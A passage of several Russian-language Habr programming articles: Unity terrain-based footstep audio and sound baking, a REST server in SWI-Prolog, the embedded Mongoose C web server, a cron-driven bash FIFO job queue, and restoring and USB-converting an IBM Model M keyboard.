splatPosition.z = ((worldPosition.z - terPosition.z) / ter.terrainData.size.z) * ter.terrainData.alphamapHeight;
return splatPosition;
}
public int GetActiveTerrainTextureIdx(Vector3 position)
{
Vector3 terrainCord = ConvertToSplatMapCoordinate(position);
int activeTerrainIndex = 0;
float largestOpacity = 0f;
for (int i = 0; i < numTextures; i++)
{
if (largestOpacity < splatmapData[(int)terrainCord.z, (int)terrainCord.x, i])
{
activeTerrainIndex = i;
largestOpacity = splatmapData[(int)terrainCord.z, (int)terrainCord.x, i];
}
}
return activeTerrainIndex;
}
}
}
```
У нас используется плеер на основе эвентов анимаций, но вы сделать по-другому. Выше описан класс для определения материала террайна. Используя его - можно сопоставить поверхность со звуками.
Объемный звук. Рейтрейсинг и обнаружение геометрии
--------------------------------------------------
Мы перебрали несколько вариантов работы с объемным и главное физически-обоснованым звуком. Мы попробовали Steam Audio, FMOD, Microsoft Acoustics и др.
В итоге наш выбор пал на **FMOD + Dolby Atmos + Microsoft Acousitcs**. Почему не Steam Audio? Ну, мы получали непредвиденные вылеты в билдах на Windows со стороны их библиотеки, которые не могли отладить.
**Для чего мы все это используем?**
1. Для автоматического просчета распространения звука в окружающей среде, с учетом её геометрии, материалов и отражаемой способности (каждый объект в игре настраивается отдельно);
2. Для пространственной обработки аудио при помощи HRTF. В связке с Dolby Atmos звук получается максимально естественным.
**Как это работает?**
Система учитывает пространственное положение звука, источник его приема, угол и десятки других параметров для корректного восприятия, как в наушниках, так и на 5.1 системах.
Помимо этого, система при помощи рейтрейсинга (трассировки лучей в реальном времени) пробрасывает лучи для определения коллизий и отражений, применимых к звуковым волнам. Для снижения нагрузки эти расчеты производятся на GPU + звук запекается (аналогично Light Probes, но для звука).
Облачные вычисления для запекания звука
---------------------------------------
Запекать звук на сцене с тысячами 3D моделей и миллионами полигонов достаточно долго, поэтому мы используем облачные вычисления от Azure. Благо у Microsoft есть отличный инструмент на виртуальных машинах, предназначенный для этого - [Azure Batch](https://azure.microsoft.com/ru-ru/services/batch/)
Используя сервис облачных вычислений удается снизить время запекания звука с 2 часов до 10 минут, что существенно экономит время при достаточно низкой цене (1,5 бакса в час). При этом есть бесплатная подписка на Azure на 12,500Р, что подходит начинающим разработчикам.
Итого
-----
Сочетание данных технологий позволяет нам добиваться более-менее реалистичного звука, а он, в свою очередь может сильно повлиять на атмосферу игры.
**Полезные ссылки:**
<https://valvesoftware.github.io/steam-audio/>
[https://docs.microsoft.com/ru-ru/gaming/acoustics/](https://docs.microsoft.com/ru-ru/gaming/acoustics/unity-integration?ref=dtf.ru)
<https://www.fmod.com/unity>
[https://developer.dolby.com/partners/middleware/fabric/](https://developer.dolby.com/partners/middleware/fabric/?ref=dtf.ru) | https://habr.com/ru/post/589007/ | null | ru | null |
# REST сервер на Прологе, как это выглядит?
В качестве небольшого экскурса для непосвященных в логическое программирование
в этом тексте будет ~~проведен сеанс магии с разоблачением~~ приведен подход
к созданию REST-сервера и замерены его параметры.
В чем подвох? А все просто — будем делать на Прологе (в реализации SWI-prolog)…
Итак, что нужно. Во-первых скачать (если еще нет) и поставить собственно swi-prolog
с его сайта [www.swi-prolog.org](http://www.swi-prolog.org). Проще создать небольшой файл типа rest.pl с начальным содержимым типа
> сервер.
и дальше загрузить его и редактировать уже средствами самой пролог-системы, вот так
(примеры приведены для консоли linux, но не сильно отличаются от windows):
```
$echo "сервер." > rest.pl
$swipl
...
?- [rest].
true.
?- edit(сервер).
```
После этого запустится emacs-подобный редактор и можно все набирать в нем.
Итак, в начале все же укажем что мы будем пользоваться библиотеками и напишем что значит
запуск сервера — в прологе символы :- можно читать как «это есть»:
```
:- use_module(library(http/http_server)).
:- use_module(library(http/http_json)).
:- http_handler(/,сервис(M), [method(M),methods([get,post]),time_limit(10000)]).
сервер :- http_server(http_dispatch, [port(8080)]).
```
Как видно, мы планируем что сервис будет отвечать на методы get и post.
### Модельная задача
Теперь собственно, что мы будем делать. По запросу get будем отвечать страницей с полем ввода числа, при его вводе будем запрашивать метод post и вычислять это число Фиббоначии.
То есть:
```
сервис(get,_) :- форма(X),ответить(X).
сервис(post,Запрос) :-
http_parameters(Запрос,[val(Число,[integer])]),
обсчитать(Число).
```
Ну вот и все! Мы уже на самом деле написали наш сервер… Пролог же декларативный язык — вот мы и декларировали варианты обработки. Кстати, язык можно использовать любой — я решил местами писать на русском.
Но погодите, что же он делает? Ведь 'форма', 'ответить' и 'обсчитать' — это наши предикаты и они не определены пока. Давайте это исправим:
```
ответить(Вставка):-
format('Content-type: text/html~n~n
Вычисление чисел Фиббоначчи
~w
~n', [Вставка]).
форма('').
```
Ну и приведем два варианта для обсчитать — пусть у нас числа Фиббоначчи только положительные будут:
```
обсчитать(Число):-
Число > 0,
фиббоначи(0,1,1,Число,Ответ),форма(X),
format(atom(Строка),'~w число Фиббоначи равно ~w
~w',[Число,Ответ,X]),
ответить(Строка).
обсчитать(Число):-
форма(X),
format(atom(Строка),'заданное число ~w меньше 0
~w',[Число,X]),
ответить(Строка).
```
Ну и осталось определить собственно что такое число Фиббоначи:
```
фиббоначи(_F, F1, N, N, F1) :- !.
фиббоначи(F0, F1, I, N, F) :-
F2 is F0+F1,
I2 is I + 1,
!,фиббоначи(F1, F2, I2, N, F).
```
Это определение, конечно, ~~не по фен-шую~~ не совсем привычное, зато считается чуть ли не быстрее чем если бы мы писали на С…
Итак, будет ли это работать? Проверяем:
```
?- сервер.
% Started server at http://localhost:8080/
true.
```
Так, сервер вроде стартовал. Кстати, он многопоточный! Для проверки нужно открыть адрес
[127.0.0.1](http://127.0.0.1):8080/ и ввести какое-нибудь число — например, 1000:
> Вычисление чисел Фиббоначчи
>
> 1000 число Фиббоначи равно
>
> 4346655768693745643568852767504062580
>
> 2564660517371780402481729089536555417
>
> 9490518904038798400792551692959225930
>
> 8032263477520968962323987332247116164
>
> 2996440906533187938298969649928516003
>
> 704476137795166849228875
>
>
Ну что же, оно работает!
Небольшое исследование производительности сервера — проверим метод GET (POST очевидно сильно зависит от заданного числа, так 10000000 число считается, конечно, но несколько секунд...)
```
$ ab -k -c 4 -n 4000 http://127.0.0.1:8080/
...
Concurrency Level: 4
Time taken for tests: 0.283 seconds
Complete requests: 4000
Failed requests: 0
Keep-Alive requests: 4000
Total transferred: 1108000 bytes
HTML transferred: 544000 bytes
Requests per second: 14140.57 [#/sec] (mean)
Time per request: 0.283 [ms] (mean)
Time per request: 0.071 [ms] (mean, across all concurrent requests)
Transfer rate: 3825.14 [Kbytes/sec] received
...
```
Что же 14140 запросов в секунду при 10 потоках — это очень неплохо для обычного компа!
И да, пролог имеет такую возможность — логический вид. Так что если вы поменяете что-то в коде, то вам достаточно в консоли набрать
```
?- make.
```
И все ваши изменения будут работать в новых запросах — ничего не нужно перегружать, останавливать и т.д.
Надеюсь, вам было интересно посмотреть, как создают rest-сервера на таком простом примере. Конечно, можно описывать rest интерфейс статически, как и сделано в примере, можно вводить всякие переменные, использовать часть пути URL как переменные — ну в общем все как обычно.
Можно делать это динамически, менять логику работы программы создавая, удаляя и модифицируя предикаты — этакий самомодифицирующийся сервер, чья работа зависит от истории. Можно подключать базы данных. В общем, все как обычно, только работать просто и приятно. | https://habr.com/ru/post/471610/ | null | ru | null |
# Встраиваемый компактный веб-сервер Mongoose
В процессе разработки различных проектов на C/C++ часто возникает необходимость общаться с внешними системами или отдавать данные клиентам по HTTP. Примером может служить любой веб-сервис, а также любое устройство с веб-интерфейсом типа роутера, системы видеонаблюдения, и т.д.
Что в таком случае обычно делают? Правильно, идут протоптанной дорожкой — Apache/nginx + PHP. А дальше начинается ад, потому что:
1. Все это нужно устанавливать и настраивать.
2. Все это жрет приличное количество ресурсов.
3. Из PHP как-то надо получать данные от разрабатываемой системы. Повезет если для этого достаточно просто залезть в СУБД.
Поэтому у меня, как думаю и многих других разработчиков, есть непреодолимое желание впихнуть все эти функции непосредственно в разрабатываемую систему. Это даст неоспоримые преимущества:
1. Меньше внешних зависимостей, а значит проще установка и настройка.
2. Теоретически меньшее потребление ресурсов.
3. Можно отдавать данные прямо из вашего продукта, без посредников.
Но при этом мы не желаем заморачиваться всякими тонкостями обработки HTTP-соединений, парсинга и т.п.
Такие решения есть. И в этой статье я хотел бы поверхностно познакомить вас с одним из них – встраиваемый сервер Mongoose (не путать с MongoDB).
### Основные возможности
Mongoose изначально позиционировался как встраиваемый веб-сервер. Это означает, что если у вас проект на C/C++ — вам достаточно включить в свой проект два компактных файла mongoose.c и mongoose.h, написать буквально несколько десятков строк кода – и вуаля, вы можете обрабатывать HTTP-запросы!
Однако в последние годы Mongoose серьезно подрос и теперь это не просто встраиваемый веб-сервер, а целая встраиваемая “сетевая библиотека”. То есть, помимо сервера HTTP, с ее помощью вы можете реализовать также: сокеты TCP и UDP, клиент HTTP, WebSocket, MQTT, DNS-клиент и DNS-сервер, и т.д.
Также огромный плюс данной библиотеки – то что она работает асинхронно, т.е. вы просто пишете функцию-обработчик событий, которая вызывается при любом событии (установке соединения, разрыве, приеме данных, передаче, поступлении запроса, и т.д.), а в основном цикле вашей программы вставляете функцию, которая вызывает ваш обработчик по каждому произошедшему событию.
Таким образом, ваша программа может быть однопоточной и без блокировок, что положительно сказывается на экономии ресурсов и производительности.
### Пример использования
Абстрактный пример для наглядности:
```
#include "mongoose.h"
// общая структура менеджера соединений
struct mg_mgr mg_manager;
// структура http-сервера
struct mg_connection *http_mg_conn;
// параметры http-сервера
struct mg_serve_http_opts s_http_server_opts;
const char *example_data_buf = "{ \"some_response_data\": \"Hello world!\" }";
const char *html_error_template = "\n"
"%d %s\n"
"\n"
"%d %s
=====
\n"
"\n"
"\n";
//-----------------------------------------------------------------------------
// Это наш обработчик событий
void http_request_handler(struct mg_connection *conn, int ev, void *ev_data)
{
switch (ev)
{
case MG_EV_ACCEPT:
{
// новое соединение - можем получить его дескриптор из conn->sock
break;
}
case MG_EV_HTTP_REQUEST:
{
struct http_message *http_msg = (struct http_message *)ev_data;
// новый HTTP-запрос
// http_msg->uri - URI запроса
// http_msg->body - тело запроса
// пример обработки запроса
if (mg_vcmp(&http_msg->uri, "/api/v1.0/queue/get") == 0)
{
mg_printf(conn, "HTTP/1.1 200 OK\r\n"
"Server: MyWebServer\r\n"
"Content-Type: application/json\r\n"
"Content-Length: %d\r\n"
"Connection: close\r\n"
"\r\n", (int)strlen(example_data_buf));
mg_send(conn, example_data_buf, strlen(example_data_buf));
// можно управлять соединением с помощью conn->flags
// например, указываем что нужно отправить данные и закрыть соединение:
conn->flags |= MG_F_SEND_AND_CLOSE;
}
// пример выдачи ошибки 404
else if (strncmp(http_msg->uri.p, "/api", 4) == 0)
{
char buf_404[2048];
sprintf(buf_404, html_error_template, 404, "Not Found", 404, "Not Found");
mg_printf(conn, "HTTP/1.1 404 Not Found\r\n"
"Server: MyWebServer\r\n"
"Content-Type: text/html\r\n"
"Content-Length: %d\r\n"
"Connection: close\r\n"
"\r\n", (int)strlen(buf_404));
mg_send(conn, buf_404, strlen(buf_404));
conn->flags |= MG_F_SEND_AND_CLOSE;
}
// для остальных URI - выдаем статику
else
mg_serve_http(conn, http_msg, s_http_server_opts);
break;
}
case MG_EV_RECV:
{
// принято *(int *)ev_data байт
break;
}
case MG_EV_SEND:
{
// отправлено *(int *)ev_data байт
break;
}
case MG_EV_CLOSE:
{
// соединение закрыто
break;
}
default:
{
break;
}
}
}
bool flag_kill = false;
//-----------------------------------------------------------------------------
void termination_handler(int)
{
flag_kill = true;
}
//---------------------------------------------------------------------------
int main(int, char *[])
{
signal(SIGTERM, termination_handler);
signal(SIGSTOP, termination_handler);
signal(SIGKILL, termination_handler);
signal(SIGINT, termination_handler);
signal(SIGQUIT, termination_handler);
// где брать статику
s_http_server_opts.document_root = "/var/www";
// не давать список файлов в директории
s_http_server_opts.enable_directory_listing = "no";
// инициализируем менеджера
mg_mgr_init(&mg_manager, NULL);
// запускаем сервер на localhost:8080 с обработчиком событий - функцией http_request_handler
http_mg_conn = mg_bind(&mg_manager, "127.0.0.1:8080", http_request_handler);
if (!http_mg_conn)
return -1;
// устанавливаем протокол http
mg_set_protocol_http_websocket(http_mg_conn);
while (!flag_kill)
{
// здесь может быть какое-то свое мультиплексирование
// причем можно через mg_connection->sock получить дескриптор
// каждого соединения (и сервера и клиентов) и слушать их в своем select/poll,
// чтобы избежать задержек и sleep-ов
// ...
//
int ms_wait = 1000;
// а здесь мы можем решить будем мы ждать новых событий ms_wait миллисекунд или
// обработаем только имеющиеся события
bool has_other_work_to_do = false;
// обрабатываем все соединения и события менеджера
mg_mgr_poll(&mg_manager, has_other_work_to_do ? 0 : ms_wait);
}
// освобождаем все ресурсы
mg_mgr_free(&mg_manager);
return 0;
}
```
Обратите внимание, что соединение остается открытым, пока его не закроет клиент, либо пока мы его не закроем явно (с помощью conn->flags). Это означает, что мы можем обрабатывать запрос и после выхода из функции-обработчика.
Таким образом, для асинхронной обработки запросов нам остается только реализовать очередь запросов и контроль соединений. А далее можно делать асинхронные запросы к БД и внешним источникам/потребителям данных.
В теории должно получиться очень красивое решение!
Оно идеально подходит для создания веб-интерфейсов (на AJAX) управления компактными устройствами, а также например для создания различных API с использованием протокола HTTP.
Несмотря на простоту, мне видится, что это еще и масштабируемое решение (если это применимо в целом к архитектуре вашего приложения, конечно), т.к. впереди можно поставить nginx proxy:
```
location /api {
proxy_pass http://127.0.0.1:8080;
}
```
Ну а дальше можно еще подключить и балансировочку на несколько инстансов…
### Заключение
Судя по [страничке GitHub](https://github.com/cesanta/mongoose) проекта, он до сих пор активно развивается.
Огромной ложкой дегтя остается лицензия – GPLv2, а ценник на коммерческую лицензию для небольших проектов кусается.
Если кто-то из читателей пользуется данной библиотекой, особенно в production – пожалуйста, оставляйте комментарии! | https://habr.com/ru/post/321430/ | null | ru | null |
# Очередь тяжелых заданий на bash
Доброго времени суток, хабражители и хабрачитатели!
Возникла у меня недавно следующая задача: требуется мониторить определенный каталог на наличие файлов, и, в случае появления в нем файла необходимо этот файл перенести в ~~более безопасное~~ другое место, и запустить на нем довольно длительную обработку. Казалось бы, все просто, однако ситуация омрачается тем, что нельзя делать обработку одновременно нескольких файлов (обработка тянет файлы с буржуйских серверов, которые не позволяют качать много всего с одного IP).
На ум сразу же пришла очередь заданий (FIFO), которую хотелось бы сделать на bash (чего уж далеко ходить). Желающих получить готовое решение — прошу под хабракат.
*Статья расчитана на начинающих, которые впервые слышат буквосочетание FIFO применительно к bash.*
Вкратце о том, что будет сделано: мы создадим очередь команд, которые надо будет выполнять одну за одной. Скрипт, следящий за очередью, будет проверять файл-локер *jobq.lock*. Если его нет, значит никто никаких заданий не выполняет и можно смело брать следующую. Если же он есть, то читать что-либо из очереди не нужно и можно смело выходить ~~с чувством выполненного долга~~.
Для начала создадим очередь и место расположения наших скриптов:
```
umask 077
mkdir -p ~/jobs/var
mkfifo ~/jobs/var/jobq
mkdir -p ~/jobs/bin
```
В *bin* будут лежать наши скрипты, которые будут запускаться, а в *var* — все, что касается очереди (собственно, сама очередь *jobq*, а также файл-локер *jobq.lock*).
Также должны существовать рабочая, входная и выходная папки. В моем случае это *~/jobs/Input*, *~/jobs/Work* и *~/jobs/Output*
Далее начинаем писать наши скрипты. Их получилось 3:
1. Который следит за новыми данными и переносит их
2. Который отправляет новые данные в очередь (этот скрипт выносится отдельно — о причинах можно прочитать в комментариях)
3. Который, собственно, проверяет очередь и запускает оттуда задания
Начнем в порядке нумерации (**$HOME/jobs/bin/mover.sh**)
```
#!/bin/bash
# Скрипт, который следит за новыми данными и переносит их
# Соберем нужные нам файлы в кучу
FILES_LIST=( $(ls $HOME/jobs/Input) )
# И по этой куче пройдемся циклом
for raw_file in ${FILES_LIST[@]}; do
mv $HOME/jobs/Input/$raw_file $HOME/jobs/Work/
# Определяем имя файла, без пути. По идее, этого делать даже не надо, но я оставлю это здесь
filename=$(basename $raw_file)
# Определяем имя файла без расширения
name=${filename%.*}
# В этот каталог будем складывать выходные результаты скрипта
mkdir -p $HOME/jobs/Output/$name
# Обращаемся к скрипту #2, который должен засунуть задание в очередь.
# В качестве параметра скрипту передается целиком и полностью вся команда
# А мы хотим запустить $HOME/complicated_task.sh -i $HOME/jobs/$raw_file -o $HOME/jobs/Output/$name >> $HOME/jobs/Output/$name/task.log
$HOME/jobs/submit.sh "$HOME/complicated_task.sh -i $HOME/jobs/$raw_file -o $HOME/jobs/Output/$name >> $HOME/jobs/Output/$name/task.log"
done
```
В этом скрипте все крайне просто. И хорошо (я надеюсь!) описаны действия в комментариях.
Осталось совсем немного — написать задание **crontab**'у. Будем выполнять этот скрипт каждую минуту
```
crontab -e
* * * * * $HOME/jobs/bin/mover.sh
```
Переходим ко второму скрипту, который будет ставить наши задания в очередь (**$HOME/jobs/bin/submit.sh**):
```
#!/bin/bash
# submit.sh.
# Скрипт отправляет задания в очередь
# С подобной очередью есть проблема, когда задание послано в очередь,
# скрипт будет ждать, пока это задание не прочтут из очереди.
# Поэтому приходится оптравлять задание в фоновый режим
# (обращаем внимание на важный & в конце)
echo $* > $HOME/jobs/var/jobq &
```
Действительно, если не поставить **&** в конце задания, скрипт повиснет и будет ждать конца работы всех предыдущих заданий. Зачем это терпеть? Отправим в фон.
И, наконец, сам виновник торжества, скрипт, который читает очередь и запускает задания из нее (**$HOME/jobs/bin/execute.sh**):
```
#!/bin/sh
# execute.sh
# Скрипт читает очередь и выполняет задания из нее
# jobq.lock - файл, означающий, что другое задание уже выполняется
# Если другое задание выполняется, то необходимо немедленно выйти
test -f $HOME/jobs/var/jobq.lock && exit 0
# Заберем себе возможность выполнение, если не вышли раньше
touch $HOME/jobs/var/jobq.lock || exit 2
# Читаем очередь
read job < $HOME/jobs/var/jobq
# Запускаем программу и заодно пишем лог задач:
date >> $HOME/jobs/jobs.log
echo " RUN: $job" >> $HOME/jobs/jobs.log
echo "" >> $HOME/jobs/jobs.log
eval $job
#Запоминаем статус выхода
status=$?
# Когда закончили, освобождаем очередь
rm -f $HOME/jobs/var/jobq.lock || exit 3
# Выходим с тем же кодом, что и у нашей задачи
exit $status
```
И снова создаем новое задание нашему другу *crontab*'у:
```
crontab -e
* * * * * $HOME/jobs/bin/execute.sh
```
Такая система стабильно работает уже пару недель, а я решил написать сюда — вдруг кому-нибудь понадобится. | https://habr.com/ru/post/151684/ | null | ru | null |
# Как правильно приготовить IBM Model M
Вы наверняка слышали про эту клавиатуру. IBM Model M называют «лучшей клавиатурой для набора текста», «легендарной неубиваемой клавиатурой», непременно добавляя «таких больше не делают». К постам на Reddit об обретении Model M часто добавляют к поздравлениям пожелание «наслаждаться этой клавиатурой в течение последующих десятилетий». Чем же всё-таки так хороша IBM Model M, чем плоха, и как её улучшить?
История
-------
Немного теории. IBM Model M, в наиболее известной своей модификации под названием IBM Enhanced Keyboard производилась с 1985 по 1999 годы, и в слегка модернизированном виде (USB, Win-клавиши, позднее — уменьшенный корпус) продолжает выпускаться по сей день небольшой компанией Unicomp.
Главная изюминка — механизм *buckling spring* («изгибающаяся пружина»), которому мы обязаны тактильностью и звенящим щелчком. Если вас интересуют подробности, особенности конструкции и перечень модификаций, то стоит почитать статью в [англоязычной Википедии](https://en.wikipedia.org/wiki/Model_M_keyboard) (надо бы перевести её) и в [энциклопедии Deskthority](https://deskthority.net/wiki/IBM_Enhanced_Keyboard).
Блеск и нищета IBM Model M
--------------------------
Сначала о хорошем. Вот, за что любят IBM Model M:
* Сам механизм buckling spring. Та самая правильная тактильность, милая сердцу любого любителя механических клавиатур. Резкое изменение усилия нажатия, происходящее в момент изгиба пружины, точно соответствует моменту срабатывания. Кликающие переключатели Cherry MX blue и их клоны чем-то похожи, но отличаются точкой срабатывания, buckling spring ни с чем не перепутаешь.
* Долговечность. Даже немного упрощённые клавиатуры четвёртого поколения и произведённые на изношенном оборудовании Unicomp обладают прочным корпусом, такой клавиатурой можно отбиваться в случае зомби-апокалипса. Корпус и клавиши сделаны из PBT-пластика, который, в отличие от ABS, практически не желтеет и не изнашивается со временем (затёртые до глянца клавиши для многих неприятны на ощупь). Впрочем, эти прочность и долговечность являются относительными, об этом я подробнее расскажу ниже.
* Ещё немного о клавишах. Клавиши расположены на изогнутой поверхности для облегчения доступа к верхним рядам. В клавиатурах с модульными переключателями такую изогнутость приходится имитировать, делая клавиши разного профиля. Model M использует клавиши одного профиля, как следствие — их можно легко менять местами в случае перехода на альтернативные раскладки (например, Dvorak или Colemak для латиницы). Вдобавок ко всем в большинстве Model M можно не вытаскивать клавишу целиком, а снять лишь верхнюю часть. Надписи на клавишах выполнены методом термосублимации, при котором краситель пропитывает пластик на глубину в несколько десятых миллиметра. С учётом высокой износоустойчивости PBT-пластика надписи получаются практически вечными, надёжнее только двойное литьё (doubleshot), применяемое, в основном, для ABS-пластика.
* Вес. Вряд ли вы будете регулярно перемещать эту клавиатуру, габариты не те. Для стационарного использования большой вес является плюсом — клавиатуру весом 2,5 кг сложно сдвинуть случайным движением.
* Сочетание винтажности и массового выпуска. Два десятилетия производства сделали своё дело. Несмотря на то, что многие Model M закончили свою жизнь на свалке или в центре по переработке, хватит их ещё надолго для всех нуждающихся. Работоспособность уцелевших экземпляров, как и поголовье новоделов продолжает поддерживать Unicomp, выпускающий запчасти практически для всех поколений IBM Enhanced Keyboard.
Идеальных клавиатур не бывает. Вот, что плохо в IBM Model M:
* Шум. В 1970-е в США (у нас этот процесс затянулся) люди пересаживались за компьютерные клавиатуры с печатающих машинок, и громкости работы клавиатур не хватало. В некоторых клавиатурах стоял соленоид, производивший дополнительное клацанье при срабатывании клавиши. Со временем всё изменилось, и в большинстве случаев ваши коллеги по офису или родные в квартире не обрадуются обретению вами «аудио-тактильной обратной связи». Вибрацию пружин можно погасить, сделав так называемый floss mod — в пружины вставляется кусочек зубной нити, звон пружин практически полностью исчезает, но при этом снижается тактильность.
*Dental floss mod*. Снижение шума IBM Model M путём установки отрезков зубной нити в пружины. Автор — Chris Satterfield (Deskthority wiki, publick domain). [Источник](https://deskthority.net/wiki/File:Floss_Modded_Bucking_Spring.jpg).
* Отсутствие модульности. «Бутерброд» из стальной пластины, резиновой прокладки, мембран, молоточков с пружинами и пластиковой панели с «колодцами» функционирует, как единое целое. Клавиатуры с отдельными механическими переключателями (Alps, Cherry и совместимых) в этом плане гораздо удобнее: неработающий переключатель можно перепаять за минуту, видов переключателей (тактильные, с кликом, линейные) доступны десятки на любой вкус, располагать их можно на клавиатуре как угодно. В случае с buckling spring ремонт занимает уйму времени, а модификация раскладки становится крайне сложной задачей.
* Прочность и долговечность относительны. Стоит вспомнить, что появление Model M было продиктовано необходимостью радикально удешевить производство в сравнении с предшественницей — Model F. Вкратце: в IBM Model F тоже используется механизм buckling spring, но вместо мембраны применена изогнутая печатная плата с емкостными датчиками. Предшественница поддерживала NKRO (см. ниже), отличалась большей прочностью, а емкостные датчики обеспечивали большую долговечность.
Мембрана в Model M совсем не похожа на мембрану в дешёвых 1000-рублёвых клавиатурах, никаких «пупырышков» с графитовым слоем (правка от 24.01.2017: похоже, что я отстал от жизни и не разбираюсь в устройстве современных мембранных клавиатур). Она состоит из двух листов пластика с контактными площадками и разделяющего их пустого листа с отверстиями на месте контактных площадок. При изгибании пружины присоединённый к ней молоточек бьет по контактной площадке верхнего листа мембраны через тонкую резиновую прокладку, и площадка замыкается на нижний лист. Я ни разу не сталкивался с убитой мембраной ни в одной Model M, но у неё есть уязвимое место — контактный шлейф, дорожки можно повредить, сильно согнув шлейф по неосторожности. Паять эти дорожки практически бесполезно, особенно в местах изгиба. Остаётся только токопроводящий маркер или самоклеящаяся медная лента, но в большинстве случаев лучше заказать новую мембрану в Unicomp.
Расслоение сборки из-за лопнувшей заклёпки. Автор — Ripster. [Источник](https://imgur.com/a/QroSL).
Ахиллесова пята IBM Model M — крепление «бутерброда» с пластиной и мембранами. Верхняя пластиковая панель имеет многочисленные штырьки, которые после при сборке на заводе просто заплавляются, образуя своеобразную пластиковую заклёпку. Очевидно, что такая конструкция сильно затрудняет ремонт Заклёпок этих очень много, но со временем, по мере старения пластика и под воздействием вибрации (особенно, если владелец клавиатуры в порыве гнева начинает со всей силы лупить по клавишам), эти заклёпки начинают разрушаться. «Бутерброд» расслаивается, некоторые клавиши начинают плохо срабатывать, приводя к необходимости сильного нажатия, отчего соседние заклёпки тоже начинают разрушаться. На устранение этой беды как раз и уходит основная масса времени при ремонте IBM Model M.
* Главный недостаток мембранной конструкции — отсутствие NKRO (No key rollover), то есть способности воспринимать одновременное нажатие большого количества клавиш. При обычном наборе текста это не мешает, а вот в играх могут возникнуть проблемы. Дорожки от каждой клавиши на мембране не проведешь, они должны быть достаточно широкими. Диоды для построения классической клавиатурной матрицы к мембране тоже не припаять, так что **клавиатуры Model M поддерживают только 2KRO**, то есть воспринимают одновременное нажатие **минимум** двух любых клавиш. Я не зря выделил слово «минимум» — на самом деле не всё так плохо, так как топология строк и столбцов мембраны не соответствует физическому расположению клавиш. Например, можно нажать одновременно W, A, D и R (4 клавиши), но W+S блокирует почти все клавиши среднего ряда.
* Интерфейс. Даже если в вашем компьютере есть разъём PS/2, то клавиатура IBM Model M в нём скорее всего не заработает из-за аномально высокого потребления питания. Большая часть недорогих переходников не помогут. Или вам мог достаться терминальный вариант, с разъёмом RJ-45. Эту проблему легко устранить. При помощи недорогой микроконтроллерной платы с готовой прошивкой IBM Model M получит интерфейс USB и все прелести современных программируемых клавиатур в виде нескольких слоёв и макросов.
Ремонт
------
С достоинствами и недостатками разобрались. Если вы взвесили все за и против, подумали и купили IBM Model M, то, скорее всего, достанется в неидеальном состоянии — производство этих клавиатур было прекращено в 1999 году. Если вы не хотите заниматься ремонтом, винтажность техники не имеет никакого значения, но вам обязательна нужна механическая клавиатура с buckling spring, то лучше взять новую Unicomp. Классическая Unicomp с говорящим названием Classic (есть даже Classic 101, почти как две капли воды похожая на 101-кнопочную IBM Enhanced Keyboard за исключением шильдика) или чуть менее громоздкая Ultra Classic обойдётся всего в $84. Даже с учётом доставки (около $40) это будет недорого на фоне современного ренессанса механических клавиатур. Разница в качестве будет (слегка кривая печать на некоторых клавишах, не так аккуратно выглядящий корпус), но ничего фатального.
Если вам нужна именно «та самая», то стоит внимательно осмотреть клавиатуру при покупке. Практически любую убитую «самую неубиваемую клавиатуру в мире» можно восстановить, но это стоит времени и денег.
* Желательно получить целый корпус, без трещин и сколов. Новый корпус от Unicomp будет отличаться от IBM'овского, с учётом стоимости доставки проще целиком Unicomp и купить.
* Клавиши. Отсутствующие клавиши (целиком или верхние колпачки) — небольшая беда, но может привести к дополнительным денежным затратам. У продавцов IBM'овских клавиш на Ebay может не оказаться нужной, а минимальная стоимость доставки у Unicomp составляет почти $15.
* Работоспособность клавиатуры сразу определить можно далеко не всегда по причине отсутствия на месте порта PS/2 (даже и наличие его [не гарантирует успеха](#interface)). Не таскать же с собой внешний переходник. Постарайтесь хотя бы на ощупь оценить работу клавиш. Все должны срабатывать с примерно одинаковым кликом. Отсутствие клика может говорить о повреждении пружины/молоточка, но скорее всего дело в оторвавшихся пластиковых «заклёпках». С заказом пружин та же история, что и с клавишами — мелочь с возможно дорогой доставкой, а вот насчёт расслоения переживать не стоит.
* Если подключить клавиатуру при покупке не удалось и у неё оказался мёртвым контроллер, то это тоже можно исправить. Просто вам придётся спаять не конвертер, а [контроллер целиком](https://blog.lmorchard.com/2016/02/21/modelm-controller/), раздобыв разъёмы для подключения шлейфа с мембраны (или использовав существующие).
Собственно, для ремонта вам понадобится следующее:
1. Торцевой ключ на 5,5 м (7/32 дюйма), чтобы отвернуть четыре самореза, которые держат корпус клавиатуры. Дюймовые торцевые ключи в каждом хозмаге не лежат, но, как и многое сейчас, этот ключ проще заказать на Алиэкспрессе. Если вы не занимаетесь ремонтом Model M и Unicomp более-менее регулярно, то можно сэкономить, сделав ключ из … шариковой ручки! Нужно расплавить конец подходящей пластиковой ручки зажигалкой и быстро приложить его к головке болта.
2. Винты M2×8 и гайки — 58 штук. Мелкие винты тоже могут быть проблемой, обычно в хозмагах можно встретить M3 и больше. На Алиэкспрессе мне их удалось найти от 200 штук, но вам для одиночного ремонта это может показаться излишним.
3. Запчасти от [Unicomp](https://www.pckeyboard.com/). Клавиши, молоточки+пружины (Pivot Plate & Spring Assembly), фторопластовые вставки-стабилизаторы (Stabilizer Insert), мембраны. У них есть даже наклейки на окошко со светодиодами (соответствующая классической IBM называется «Pebble LEDs on Bottom»). Для справки — цвет серых клавиш IBM (модификаторы, стрелки, Escape и др.) у Unicomp называется *pebble*. Сразу кидаться что-то заказывать до полной диагностики не стоит из-за дорогой заморской доставки.
4. Teensy 2.0 или Arduino Pro Micro. На той и на другой можно запустить TMK или Soarer's converter. Pro Micro дешевле, но немного сложнее прошивается и к нему не идёт в комплекте провод USB. Гоняться за оригиналами не стоит, китайские с Aliexpress сейчас работают без проблем, во всяком случае для этих целей.
5. Разъём USB Type C с платой. [Такой](https://www.aliexpress.com/item/2pcs-lot-USB-3-1-TYPE-C-Connector-Female-socket-24P-Test-board-with-PCB-board/32787770605.html?spm=a2g0s.9042311.0.0.OMBhFv) или [вот такой](https://www.aliexpress.com/item/1-Set-DIY-24pin-USB-C-USB-3-1-Type-C-Male-Female-Plug-Socket-Connector/32437958116.html?spm=a2g0s.9042311.0.0.i3p2FD). Крупную плату проще закрепить в корпусе. Не забудьте два резистора по 5,1 кОм.
